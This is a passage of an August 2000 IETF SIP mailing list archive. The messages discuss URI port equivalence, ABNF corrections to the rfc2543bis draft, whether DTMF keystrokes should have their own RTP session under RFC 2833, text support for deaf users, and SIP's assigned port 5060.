e7B5pTw28044; Fri, 11 Aug 2000 07:51:29 +0200 (MEST) Received: from lmf.ericsson.se ([142.133.141.40]) by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id HAA01802; Fri, 11 Aug 2000 07:51:23 +0200 (MET DST) Message-ID: <39939487.131CACB8@lmf.ericsson.se> Date: Fri, 11 Aug 2000 08:52:07 +0300 From: Christer Holmberg X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Garret Wilson Cc: SIP List Subject: Re: [SIP] isomorphic clarification References: <00ff01c00300$71da7740$1bdd4240@sfmissn1.sfba.home.com> Content-Type: multipart/mixed; boundary="------------2392E811DE23F542E3853460" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. --------------2392E811DE23F542E3853460 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, >The SIP specification states that, "Two requests or responses are defined >to be isomorphic for the purposes of this document if they have the same >values for the Call-ID, To, From and CSeq header fields." > >The phrase, "same values" seems to be undefined, which means that what it >means for two header fields to be equal is unspecified. For example, if >two "From" strings are identical except that the second one specifies a >port of ":5060", do these two value have the "same value?" Yes. >sip:jane@doe.com >sip:jane@doe.com:5060 > >(After all, since 5060 is the default SIP port, the first SIP-URI really >has the same port as the second.) That is correct. Regards, Christer Holmberg Ericsson Finland --------------2392E811DE23F542E3853460 Content-Type: text/x-vcard; charset=us-ascii; name="christer.holmberg.vcf" Content-Description: Card for Christer Holmberg Content-Disposition: attachment; filename="christer.holmberg.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Holmberg;Christer tel;cell:+358-40-5604412 tel;work:+358-9-2992943 x-mozilla-html:FALSE org:Ericsson;Advanced Signalling Research Laboratory adr:;;;;;; version:2.1 email;internet:christer.holmberg@lmf.ericsson.se fn:Christer Holmberg end:vcard --------------2392E811DE23F542E3853460-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 02:46:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06274 for ; Fri, 11 Aug 2000 02:46:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A163744368; Fri, 11 Aug 2000 02:46:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-251.dallas.net [209.44.42.251]) by lists.bell-labs.com (Postfix) with ESMTP id D22A544338 for ; Fri, 11 Aug 2000 02:46:22 -0400 (EDT) Received: (from bfb@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id BAA11864; Fri, 11 Aug 2000 01:46:16 -0500 Date: Fri, 11 Aug 2000 01:46:15 -0500 From: "Brian F. G. Bidulock" To: Henning Schulzrinne Cc: sip@lists.bell-labs.com Subject: Re: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps Message-ID: <20000811014615.A11841@inet.com> Reply-To: brian.bidulock@inet.com Mail-Followup-To: Henning Schulzrinne , sip@lists.bell-labs.com References: <200008101420.KAA32432@fish-ha.research.att.com> <3992BB8F.7A2F0C5@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2i In-Reply-To: <3992BB8F.7A2F0C5@cs.columbia.edu>; from schulzrinne@cs.columbia.edu on Thu, Aug 10, 2000 at 10:26:23AM -0400 Organization: Inet Technologies, Inc. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Henning, While everyone else has been arguing about how or why one should "smell" the keypad on their phone ;) I've been reviewing draft-ietf-sip-rfc2543bis-01.txt and have come across the following minor edits to the ABNF and related text: Section 2. SIP Uniform Resource Locators: delete < tag-param = "tag=" UUID < UUID = 1*( HEX | "-" ) or replace with > tag-param = "tag=" token and delete same from Section 6.24 From: Section 6.24 From: from-param = tag-param | generic-param < tag-param = "tag" "=" token Section 6.43 To: to-param = tag-param | generic-param In Section 3 SIP Message Overview: add Call-Info header lines to general-header syntax: general-header = Accept ; Section 6.6 | Accept-Encoding ; Section 6.7 | Accept-Language ; Section 6.8 | Call-ID ; Section 6.12 > | Call-Info ; Section 6.13 | Contact ; Section 6.14 | CSeq ; Section 6.20 In Section 4.1 Request-Line: absoluteURI should be defined or reference [RFC2068] Section 3.2.1. In Section 4.3.1 SIP Version: add ABNF: > SIP-Version = "SIP/2.0" In Section 6.13 Call-Info: < Call-Info = "Call-Info" ":" # ( "<" URI ">" *( ";" info-param ) has imbalanced parentheses and should be changed to: > Call-Info = "Call-Info" ":" # ( "<" URI ">" *( ";" info-param ) ) In Section 6.14 Contact: qvalue should be defined here or RFC2068 Section 3.9 referenced. delta-seconds should be defined here or RFC2068 Section 3.3.2 referenced. In Section 6.16 Content-Encoding: < tokens. See [3.5] for a definition of the syntax for content-coding. should read > tokens. See [H3.5] for a definition of the syntax for content-coding. In Section 6.17 Content-Language: < See [H14.12] should be changed to > See [H14.13] In Section 6.21 Date: < See [H14.18] for a definition of rfc1123-date. Note that unlike should read > See [H14.19] for a definition of rfc1123-date. Note that unlike In Section 6.28 MIME-Version: < See [H19.4.1]. should read > See [H19.4.7]. In Section 6.30 Priority: < other-priority token is missing a definedas and should be changed to: > other-priority = token In Section 6.31 Proxy-Authenticate: should reference [H14.32] for ABNF syntax. In Section 6.32 Proxy-Authenticate: should reference [H14.33] for ABNF syntax. In Section 6.33 Proxy-Require: add following syntax definition: > Proxy-Require = "Proxy-Require" ":" 1#option-tag In Section 6.39 Server: < syntax for this field is defined in [H14.38]. should be > syntax for this field is defined in [H14.39]. In Section 6.46.6 [Via] Syntax: maddr is never defined. ttl is redefined from Section 2: SIP Uniform Resource Locators: delete < ttl = 1*3DIGIT ; 0 to 255 In Section 6.47 Warning: pseudonym should be defined here or RFC2068 Section 14.44 referenced. In Section 15.1.1 The WWW-Authenticate Response Header: < pgp-version = "version" "=" < <"> digit *( "." digit ) *letter <"> should read > pgp-version = "version" "=" > <"> digit *( "." digit ) *alpha <"> In Section 15.2 and 15.3: pgp-eparams is defined twice; suggest: < Response-Key = "Response-Key" ":" "pgp" pgp-eparams < pgp-eparams = 1# ( pgp-version | pgp-encoding | pgp-key) replaced with > Response-Key = "Response-Key" ":" "pgp" pgp-ekparams > pgp-ekparams = 1# ( pgp-version | pgp-encoding | pgp-key) In Section C.1 Basic Rules: < CTL = %x00-1f | 0x7f ; (octets 0 -- 31) and DEL (127) should read > CTL = %x00-1f | %x7f ; (octets 0 -- 31) and DEL (127) Henning Schulzrinne wrote: (10:26:23 -0400 Thu, 10 Aug 2000) > William Marshall wrote: > > > > > A New Internet-Draft is available from the on-line Internet-Drafts directories. > > > This draft is a work item of the Session Initiation Protocol Working Group of the IETF. > > > > > > Title : SIP: Session Initiation Protocol > > > Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg > > > Filename : draft-ietf-sip-rfc2543bis-00.txt,.ps > > ^^ > > > > Wasn't version 00 submitted prior to the Pittsburgh IETF? Shouldn't > > this be version 01? > > Yes, I just contacted the I-D editor about this. Something seems to have > gone wrong. > > > > > If not, I'd like to request that the version number be incremented with > > each update, so that we can know which version is being referenced. > > That is indeed the normal procedure. > > > > > Bill Marshall > > wtm@research.att.com > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Brian F. G. Bidulock ¦ The reasonable man adapts himself to the ¦ brian.bidulock@inet.com ¦ world; the unreasonable one persists in ¦ ¦ trying to adapt the world to himself. ¦ ¦ Therefore all progress depends on the ¦ M.O.A.M.O.N.N.T.O.M.E. ¦ unreasonable man. -- George Bernard Shaw ¦ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 03:18:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06616 for ; Fri, 11 Aug 2000 03:18:24 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D459A4434E; Fri, 11 Aug 2000 03:18:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 75A4E44338 for ; Fri, 11 Aug 2000 03:18:03 -0400 (EDT) Received: from esealnt409.al.sw.ericsson.se (esealnt409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7B7I2p01169 for ; Fri, 11 Aug 2000 09:18:02 +0200 (MEST) Received: from SMTP ([153.88.251.32]) by esealnt409.al.sw.ericsson.se with Microsoft SMTPSVC(5.0.2195.1600); Fri, 11 Aug 2000 09:18:02 +0200 Received: from esealnt743.al.sw.ericsson.se ([153.88.251.13]) by 153.88.251.32 (Norton AntiVirus for Internet Email Gateways 1.0) ; Fri, 11 Aug 2000 07:18:02 0000 (GMT) Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Fri, 11 Aug 2000 09:18:01 +0200 Message-ID: <56E7307B0850D411B1480008C75DD5EAB73C38@enlrynt303.dsn.ericsson.se> From: "Arnoud van Wijk (ETM)" To: sip@lists.bell-labs.com Subject: RE: [SIP] DTMF Date: Fri, 11 Aug 2000 09:16:40 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="ISO-8859-1" X-OriginalArrivalTime: 11 Aug 2000 07:18:02.0307 (UTC) FILETIME=[49054930:01C00364] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I want to alert you people that text communications is still going to be very important. Deaf/hearing impaired people will depend on text communications. I am deaf, so I have no need for voice communications (well..I can talk, but receiving voice is useless for me). I would love to see that any SIP device that is used/will be used has support for text. (if it links through a brain socket with my brain etc..then we can skip text :-)) So..I'd like to see one clear agreement on how we implement it. My knowledge into DTMF is very low. (I understand they are touch tone, if so, they are currently used by relay operators all over the world via the boudot protocol). Arnoud _______________________________________________________________ ERICSSON TELECOMMUNICATIE BV Arnoud van Wijk Research & Development ETM/BL/RE Fax: +31-161 247569 _______________________________________________________________ -----Original Message----- From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] Sent: Thursday, August 10, 2000 9:47 PM To: sip@lists.bell-labs.com Subject: [SIP] DTMF Besides the philosophical arguments, can somebody please succinctly and technically characterize why RTP transport of digits does not work or is not sufficient, given that - sending a 'tones' RTP packet incurs no more (and plausibly less) overhead at sender or receiver than a SIP packet - sending keyboard input as envisioned here has nothing to do with session setup or control or signaling - RTP with redundancy is at least as reliable as SIP transport - REFER and 3pcc can be used to redirect RTP streams wherever they are needed, either separate from or jointly with the audio stream - a number of implementations already support the RFC 2833 mechanism - why should they support another mechanism? As Colin points out and has been raised on the list before in a different context, if we're into text communications (full keyboard set), the RTP text payload type may also be appropriate. Thank you. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 04:42:22 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07355 for ; Fri, 11 Aug 2000 04:42:22 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A0AB844373; Fri, 11 Aug 2000 04:42:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtppop2.gte.net (smtppop2pub.gte.net [206.46.170.21]) by lists.bell-labs.com (Postfix) with ESMTP id 2846F44338 for ; Fri, 11 Aug 2000 04:42:05 -0400 (EDT) Received: from gte.net (crtntx1-ar5-077-096.dsl.gtei.net [4.40.77.96]) by smtppop2.gte.net with ESMTP ; id DAA10246932 Fri, 11 Aug 2000 03:39:28 -0500 (CDT) Message-ID: <3993BDAC.408B54BB@gte.net> Date: Fri, 11 Aug 2000 03:47:41 -0500 From: Skip Cave X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: SIP Mail List Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] DTMF and Universal Input Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne said: >Besides the philosophical arguments, can somebody please succinctly and >technically characterize why RTP transport of digits does not work or is >not sufficient? http://lists.bell-labs.com/pipermail/sip/2000q3/002087.html Skip says: I will try to answer Henning and summarize my issues with RFC 2833. Probably the most important issue is the requirement for a user agent server in the network to redirect and replicate keystroke sessions just as it would redirect and replicate audio or video streams. Lets take this scenario: 1) A UA client (Term1) INVITES a UA server (Term2) and establishes an audio session, a keystroke session, and a video session between Term1 and Term2 using SDP. Term1 is the transmitter of the media (keystrokes, audio, video) in all three sessions. Term2 is the receiver of all media in all sessions. 2) Term2 wishes to redirect Term1's audio media stream to a third party, a UA server called Term3. Term2 RE-INVITES Term1's audio session to go to Term3's port. However, the keystroke and video sessions transmitting from Term1 to Term2 are NOT to be disturbed. We only want to redirect Term1's audio session to Term3. All other sessions are to be left alone. If audio and keystrokes are in the same SDP session, how do we do this? Keystrokes need to have their own session in this scenario. RFC 2833 puts both media types in one session. 3) After we finish redirecting Term1's audio to Term3, we decide that a fourth party needs to be involved (Term4). We want both Term1's audio and Term1's keystrokes to be sent to Term4, but we DON'T want to disturb the keystrokes and video going from 1-2, or the audio going from 1-3. Term2 re-invites Term1 again, asking Term1 to replicate his keystroke session and send a copy of the keystroke session to Term4. Term1 is now essentially multi-unicasting his keystroke session to both Term2 and Term4. Similarly, in the re-invite we ask Term1 to multi-unicast his audio to Term2 and Term4. If audio and keystrokes are in the same SDP session, how do we do this? Keystrokes need to have their own session in this scenario. I can go on in this vein, but you get the idea. Why do we require keystrokes to be in the same session as the audio? Why did we pick the audio session instead of the video session to carry keystrokes? Better yet, why not give keystrokes their own session permanently. This makes the above senarios much simpler, and doesn't affect the PSTN-PSTN transport problem, other than you need two SDP sessions (tones and audio)for that particular requirement. Simply modify RFC 2833 to require two sessions - one for keystrokes and signaling, and one for voice audio. Now you can treat them as the separate entities they really are, and not a hybrid construct that is specific to the PSTN. I haven't heard any reasons why this isn't a better solution. Henning Schulzrinne said: >As a side note, I'm still not sure how useful this audio/DTMF split is >in practice, given the wide use of voice recognition. http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html As I have tried to point out in my previous posts, not every application vendor will want to use voice recognition on every application. there are many applications where speech recognition is not appropriate, and could even be detrimental. There are many applications that send keystrokes in one direction and voice in the other (IVR), and these types of applications are becoming MORE popular, not less. Most important, virtually all of the applications my company is implementing need keystrokes from a caller to go one place, and audio from a caller to go to another (or many other places). Henning Schulzrinne said: >not all end systems will implement anything beyond basic 2833, in >practice you'll end up with trivial 'RTP splitters' that route DTMF >packets to one server and audio to another. http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html Actually, that is my key point. in order to enable applications like the one described above, the split between keystrokes and tones NEEDS TO BE IN THE BASE RFC 2833 DOCUMENT. Otherwise you need splitters, or other nefarious devices to implement most applications. We don't need splitters for sending audio two places. Why would we require a splitter to send audio one place and keystrokes another? Just reinvite a separate keystroke session. Henning Schulzrinne said: >Finally (separate issue), I just don't see that there is a practical >difference between DTMF and 'user input'. User input is just a subset of >DTMF (minus loudness). Hopefully, both will disappear over time, as user >devices have richer input capability. We don't want to redo >telnet/rlogin or X11 in SIP. http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html I agree, at least about the issue of DTMF and user input being similar (assuming you mean keystrokes). I don't agree about the keys dissapearing over time (See my post about addressing) Skip said: >Some devices will use speech recognition for addressing. Some will not. >Those that can't or won't accept the costs of speech reco will still have >to have some method of indicating an address at a minimum. I will be >willing to bet that that method will include at a minimum, a set of 10 >numeric keys and an ENTER and DELETE (or equivalent) button. The keyboard >may have a thousand other keys, but it WILL have numerics. http://lists.bell-labs.com/pipermail/sip/2000q3/002083.html So perhaps DTMF and user keystroke input can be considered similar enough that we could use a single protocol to transport both types of things. Fair enough. We can default things like level or frequency or time stamps when the transmitting device is a packet terminal that doesn't care about those things. As long as keystrokes are in a separate session from the audio, I can deal with these issues. So that brings us to my second issue. Even if keystrokes have their own session, they still need to be delivered by a reliable protocol. Henning seems to feel that RTP with reliability extensions (RFC 2198) will fill this bill. Henning Schulzrinne said: >RTP with redundancy is at least as reliable as SIP transport http://lists.bell-labs.com/pipermail/sip/2000q3/002087.html RFC 2198 seems to be targeted specifically to reliably delivering audio by transmitting redundant audio data. I was unable to find any mention of how single-datum events such as a non-audio keystroke from a SIP terminal could be made reliable using RFC 2198. (I can think of some ways, but none of them are specified in the document). I expect that, if we are to use RFC 2198, we will have to extend it to deal with non-audio keystrokes. I'm not saying it can't be done, just that we haven't said how to do it yet. By the way, Colin Perkins, a participant in this thread, was an author of the 2198 RFC for audio redundancy. Colin, if I am putting words in your mouth, speak up. There are several existing mechanisms for reliable delivery of single-datum events. TCP, SCTP, and telnet come to mind. Would it be easier to just select an existing reliable protocol for keystroke transport, or develop RFC 2198 to the point it could be used for single-datum non-audio events like a keystroke. Admittedly, it would be nice to not require another protocol stack in devices that already implement RTP, but what about things that aren't phones? Should we require that any SIP device with keys support reliable RTP? Even if it doesn't have a microphone or speaker? Is reliable RTP simpler or more complex than the other reliable delivery mechanisms? Why should we bias a protocol such as RFC 2833 towards devices with a microphone and a keyboard? Why not bias it towards devices with video camera and a keboard? Why not devices with just a keyboard? Henning Schulzrinne said: >every Ethernet phone will need to support RFC 2833 (and it's pretty >trivial to implement, given that RTP/RTCP is needed anyway). Instead of >adding another mechanism, it would seem better to have the generic >ability to get end systems to send to multiple copies of audio streams, >including subsets. This is more generally useful for multi-party calls. http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html I'm not convinced that reliable RFC2833 is all that trivial for non-audio keystrokes, since that hasn't been defined yet. I'm also not convinced that reliable RFC2833 is vastly simpler or more complex that other reliable protocols. I agree that a single protocol is nice, and if reliable RTP isn't vastly more complex than a different reliable protocol, we could use it. I DEFINITELY agree with Henning that all SIP terminals should be required to have the capability to send multiple copies of audio streams. This should be in the base SIP (or is it SDP) specification. This functionality is a MUST for a large set applications (virtually every application my company builds). Multi-party calls, operator intercept, voice logging, all of these applications would be much more difficult and costly to implement, if session replication capability is not present in EVERY SIP terminal (and gateway). All SIP terminals should also be required to support requests for multiple copies of a video session. They should all be required to support requests for multiple copies of a keystroke session. We should consider this as one of the highest priorities for updates to the basic SIP doc. What is the process for getting this requirement into the base document? Don't know what this has to do with splitting keystroke sesions from audio, though. Actually, I don't find this requirement for all devices (including audio-less devices) to use reliable RTP particularly objectionable. As long as reliable RTP delivery of keystrokes can be shown to be close to as efficient in bandwidth and processing power as any of the other transport protocol candidates, a reliable version of RFC 2833 would be a viable approach to use. As long as the keystrokes have their own session, and reliable RTP isn't too much of a hog compaired to the other choices, let's use it. Of course we still need to define it (reliable RTP for non-audio, single-datum events) first. Comments? Skip Cave Sr. Principal Engineer InterVoice-Brite Inc. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 05:07:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07531 for ; Fri, 11 Aug 2000 05:07:05 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A8E4044374; Fri, 11 Aug 2000 05:06:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from email3.etsi.org (email3.etsi.fr [212.234.161.24]) by lists.bell-labs.com (Postfix) with ESMTP id 654BC44338 for ; Fri, 11 Aug 2000 05:06:46 -0400 (EDT) Received: by EMAIL3 with Internet Mail Service (5.5.2650.21) id ; Fri, 11 Aug 2000 11:06:50 +0200 Message-ID: <337FC70FD51CD411A3500008C70D56F12A19@EMAIL1> From: Scott Cadzow - ETSI To: "'sip@lists.bell-labs.com'" Date: Fri, 11 Aug 2000 11:06:44 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] Assigned port number Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Does SIP have an assigned TCP/UDP port number? If it doesn't is there a reason why not? I am particularly concerned with the ability of SIP to be used between domains where border elements may wish to have protocol filtering that may be simplest with suppression of certain ports. Thanks, Scott _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 05:17:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07599 for ; Fri, 11 Aug 2000 05:17:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8FF3144386; Fri, 11 Aug 2000 05:16:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 53D5C44338 for ; Fri, 11 Aug 2000 05:16:45 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7B9HHq13368; Fri, 11 Aug 2000 14:47:21 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 65256938.00337419 ; Fri, 11 Aug 2000 14:52:00 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Scott Cadzow - ETSI Cc: "'sip@lists.bell-labs.com'" Message-ID: <65256938.0033727A.00@sampark.hss.hns.com> Date: Fri, 11 Aug 2000 14:51:55 +0530 Subject: Re: [SIP] Assigned port number Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Yes, SIP very much has http://www.cs.columbia.edu/sip/assignments.html Port number (TCP, UDP) 5060 Multicast address for REGISTER sip.mcast.net (224.0.1.75) Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems Scott Cadzow - ETSI on 08/11/2000 02:36:44 PM To: "'sip@lists.bell-labs.com'" cc: Subject: [SIP] Assigned port number Does SIP have an assigned TCP/UDP port number? If it doesn't is there a reason why not? I am particularly concerned with the ability of SIP to be used between domains where border elements may wish to have protocol filtering that may be simplest with suppression of certain ports. Thanks, Scott _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 06:05:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08094 for ; Fri, 11 Aug 2000 06:05:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8B4D244340; Fri, 11 Aug 2000 06:05:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 3235B44338 for ; Fri, 11 Aug 2000 06:04:59 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Fri, 11 Aug 2000 03:04:58 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Skip Cave'" , SIP Mail List Subject: RE: [SIP] DTMF and Universal Input Date: Fri, 11 Aug 2000 03:04:57 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi Skip, I think you have made some very important points regarding some of the hurdles the "forked (keystrokes) streams" approach must overcome before it can be implemented/adopted in a widespread manner. I agree that actual transport mechanism (Reliable/redundant RTP or RTP over TCP or other) is a secondary concern as long as the simplicity, bandwidth and processing power is comparable. I also agree that a large change conceptual change needs to be made so that keystrokes are treated as a _separate_ stream (like video or data) rather than just an audio-vocoder optimization/extension conveying the same information. The largest hurdle IMO is broaching the whole problem of how to referr to a particular stream in an SDP session and requesting that it be forked? (and later that a particular copy can be terminated). What limit do you set on the number of times the stream can be forked? This number will definitely need to be greater than two streams if there multiple application servers in the signalling path, 3, 4, 5, where do you stop ? [This would be a very powerful DoS tool if abused, eg, tell an unsecured client to send a 100 streams of audio to the target server.] How do you determine if a UA supports stream forking? IMHO, as Skip says, these are really issues that need to be solved by SIP (or atleast by SIP's use of SDP) and needs to become a core requirement of UA's to make the system useful in a widespread manner. RTP splitters (located in the network) for the keystroke stream were proposed as an alternative to the forking of streams, however this approach could easily cause unacceptable arrival delays between the audio & keystroke RTP packets at the remote UA (or the complete loss of one stream). Regards, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Skip Cave [mailto:skip.cave@gte.net] > Sent: Friday, August 11, 2000 4:48 PM > To: SIP Mail List > Subject: [SIP] DTMF and Universal Input > > > Henning Schulzrinne said: > >Besides the philosophical arguments, can somebody please > succinctly and > > >technically characterize why RTP transport of digits does not work or > is > >not sufficient? > http://lists.bell-labs.com/pipermail/sip/2000q3/002087.html > > Skip says: > I will try to answer Henning and summarize my issues with RFC 2833. > > Probably the most important issue is the requirement for a user agent > server in the network to redirect and replicate keystroke > sessions just > as it would redirect and replicate audio or video streams. > > Lets take this scenario: > > 1) A UA client (Term1) INVITES a UA server (Term2) and establishes an > audio session, a keystroke session, and a video session between Term1 > and Term2 using SDP. Term1 is the transmitter of the media > (keystrokes, > audio, video) in all three sessions. Term2 is the receiver of > all media > in all sessions. > > 2) Term2 wishes to redirect Term1's audio media stream to a > third party, > a UA server called Term3. Term2 RE-INVITES Term1's audio session to go > to Term3's port. However, the keystroke and video sessions > transmitting > from Term1 to Term2 are NOT to be disturbed. We only want to redirect > Term1's audio session to Term3. All other sessions are to be > left alone. > If audio and keystrokes are in the same SDP session, how do > we do this? > Keystrokes need to have their own session in this scenario. RFC 2833 > puts both media types in one session. > > 3) After we finish redirecting Term1's audio to Term3, we > decide that a > fourth party needs to be involved (Term4). We want both Term1's audio > and Term1's keystrokes to be sent to Term4, but we DON'T want > to disturb > the keystrokes and video going from 1-2, or the audio going from 1-3. > Term2 re-invites Term1 again, asking Term1 to replicate his keystroke > session and send a copy of the keystroke session to Term4. > Term1 is now > essentially multi-unicasting his keystroke session to both Term2 and > Term4. Similarly, in the re-invite we ask Term1 to multi-unicast his > audio to Term2 and Term4. If audio and keystrokes are in the same SDP > session, how do we do this? Keystrokes need to have their own > session in > this scenario. > > I can go on in this vein, but you get the idea. Why do we require > keystrokes to be in the same session as the audio? Why did we pick the > audio session instead of the video session to carry keystrokes? Better > yet, why not give keystrokes their own session permanently. This makes > the above senarios much simpler, and doesn't affect the PSTN-PSTN > transport problem, other than you need two SDP sessions (tones and > audio)for that particular requirement. Simply modify RFC 2833 > to require > two sessions - one for keystrokes and signaling, and one for voice > audio. Now you can treat them as the separate entities they > really are, > and not a hybrid construct that is specific to the PSTN. I > haven't heard > any reasons why this isn't a better solution. > > Henning Schulzrinne said: > >As a side note, I'm still not sure how useful this > audio/DTMF split is > >in practice, given the wide use of voice recognition. > http://lists.bell-labs.com/pipermail/sip/2000q3/001933.html > > As I have tried to point out in my previous posts, not every > application > vendor will want to use voice recognition on every application. there > are many applications where speech recognition is not appropriate, and > could even be detrimental. There are many applications that send > keystrokes in one direction and voice in the other (IVR), and these > types of applications are becoming MORE popular, not less. Most > important, virtually all of the applications my company is > implementing > need keystrokes from a caller to go one place, and 